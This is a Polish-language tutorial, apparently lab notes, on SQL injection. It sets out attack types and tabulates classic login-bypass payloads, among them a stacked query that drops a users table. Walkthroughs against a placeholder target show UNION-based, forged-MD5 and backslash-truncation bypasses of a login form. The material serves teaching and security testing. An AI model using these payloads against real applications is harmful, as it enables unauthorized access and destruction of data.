Injection

SQL Injection

SQL Injection (SQLi) to technika ataku, która polega na wstrzyknięciu złośliwego fragmentu zapytania SQL do pola wejściowego aplikacji (np. formularza logowania). Celem jest zmuszenie bazy danych do wykonania poleceń, których normalnie nie powinna — takich jak pominięcie logowania, odczyt danych użytkowników czy wykonanie polecenia systemowego.


Aplikacje podatne na SQLi nie filtrują poprawnie danych wejściowych od użytkownika i bezpośrednio wstawiają je do zapytań SQL. Atak może być prosty ' OR 1=1-- lub bardziej złożony, z użyciem narzędzi takich jak sqlmap.


Example
`OR 1=1` powoduje, że warunek zawsze jest prawdziwy. `--` komentuje dalszą część zapytania (czyli sprawdzanie hasła).

Typy ataków SQLi

TypOpisPrzykład
Boolean-basedZmienia wynik logiczny TRUE / FALSE' OR 1=1-- vs ' AND 1=2--
Union-basedŁączenie wyników z innymi SELECT' UNION SELECT 1, version()--
Error-basedWymusza błąd ujawniający dane1 AND (SELECT 1/0)--
Time-basedOpóźnienie w zależności od warunkuIF(1=1, SLEEP(5), 0)--
Stacked QueriesWiele zapytań w jednym'; DROP TABLE users--

Klasyczne Payloady Logowania

PayloadCel
' OR 1=1-- TRUE logic condition bypass
' OR '1'='1'-- String-based TRUE condition
' OR 1=1# MySQL: komentarz #
' OR 1=1/* Komentarz blokowy
" OR 1=1-- Użycie cudzysłowu
admin'-- Pominięcie hasła dla admina
' OR 1=1 LIMIT 1-- Ograniczenie liczby wyników

Przykłady klasycznych testów

  1. Omijanie logowania poprzez klasyczny SQL Injection
    Example
    REZULTAT: Logowanie zostało pomyślnie ominięte po zastosowaniu poprawnej składni SQL Injection.

  1. Uzyskanie dostępu do konta admina bez znajomości hasła.

    Payloady bypass: SQLite | MySQL | PostgreSQL | MSSQL

    ') or (username='admin  
    ') or username='admin'-- 
    ') OR username='admin'/*
    

    Payloady bypass: MySQL

    ') or username='admin'#
    
    Example
    REZULTAT: Logowanie zostało pomyślnie ominięte po zastosowaniu poprawnej składni SQL Injection.


  1. Omijanie logowania za pomocą UNION SELECT.
    Zadanie: Uzyskać dostęp bez danych logowania, poprzez zastosowanie techniki UNION SELECT w celu podstawienia własnych danych do zapytania SQL, tak aby wprowadzony ładunek zwróci wartość „admin”, mimo że baza danych nie zawiera żadnych rekordów.

    Payloady UNION bypass: SQLite | MySQL | PostgreSQL | MSSQL

    ') UNION SELECT ('admin
    ') UNION SELECT 'admin'-- 
    ') UNION SELECT 'admin'/*
    

    Payloady bypass: MySQL

    ') UNION SELECT 'admin'#
    
    Example
    REZULTAT: Logowanie zostało pomyślnie ominięte pomimo pustej bazy danych dzięki zastosowaniu UNION SELECT z podstawioną nazwą użytkownika.

  1. Fałszywy użytkownik z dopasowanym skrótem MD5.
    Zadanie: Uzyskać dostęp jako użytkownik admin z podanym przez siebie hasłem.
    Szczegółowy opis: Wprowadzenie zapytania SQL z użyciem UNION SELECT, które podstawia nazwę użytkownika i skrót MD5 kontrolowanego przez nas hasła. Aplikacja porównuje skróty MD5, więc możliwe będzie ominięcie logowania, jeśli oba będą identyczne — co zostanie zapewnione przez atakującego.

    KROKI:

    1: Wprowadzić w polu hasło wartość x, a w polu użytkownika:

    " union select "admin",md5("x")#
    
    Example
    REZULTAT: Logowanie zostało pomyślnie ominięte dzięki podstawieniu własnego użytkownika i hasha, który odpowiada wpisanemu hasłu.

  1. Ominięcie zabezpieczenia przez ograniczenie długości i przetwarzanie ukośnika.
    Zadanie: Wykorzystać cięcie stringa i podwójne przetwarzanie znaku \ do ominięcia logowania.
    Szczegółowy opis: Podanie nazwy użytkownika zakończonej na 10. pozycji znakiem , który po konwersji i przycięciu spowoduje nieoczekiwane zamknięcie łańcucha. Następnie w polu hasła wstrzyknięcie warunku logicznego pozwalającego ominąć autoryzację.

    KROKI:

    1: Wejdz na [TARGET_IP] i Wpisz jako nazwę użytkownika: 123456789\, a w polu hasło:

    or 1-- x
    
    Example
    REZULTAT: Logowanie zostało pomyślnie ominięte dzięki manipulacji długością stringa i znakiem ucieczki. Query: SELECT 1 FROM sql WHERE username='123456789\' and password='or 1-- x'


References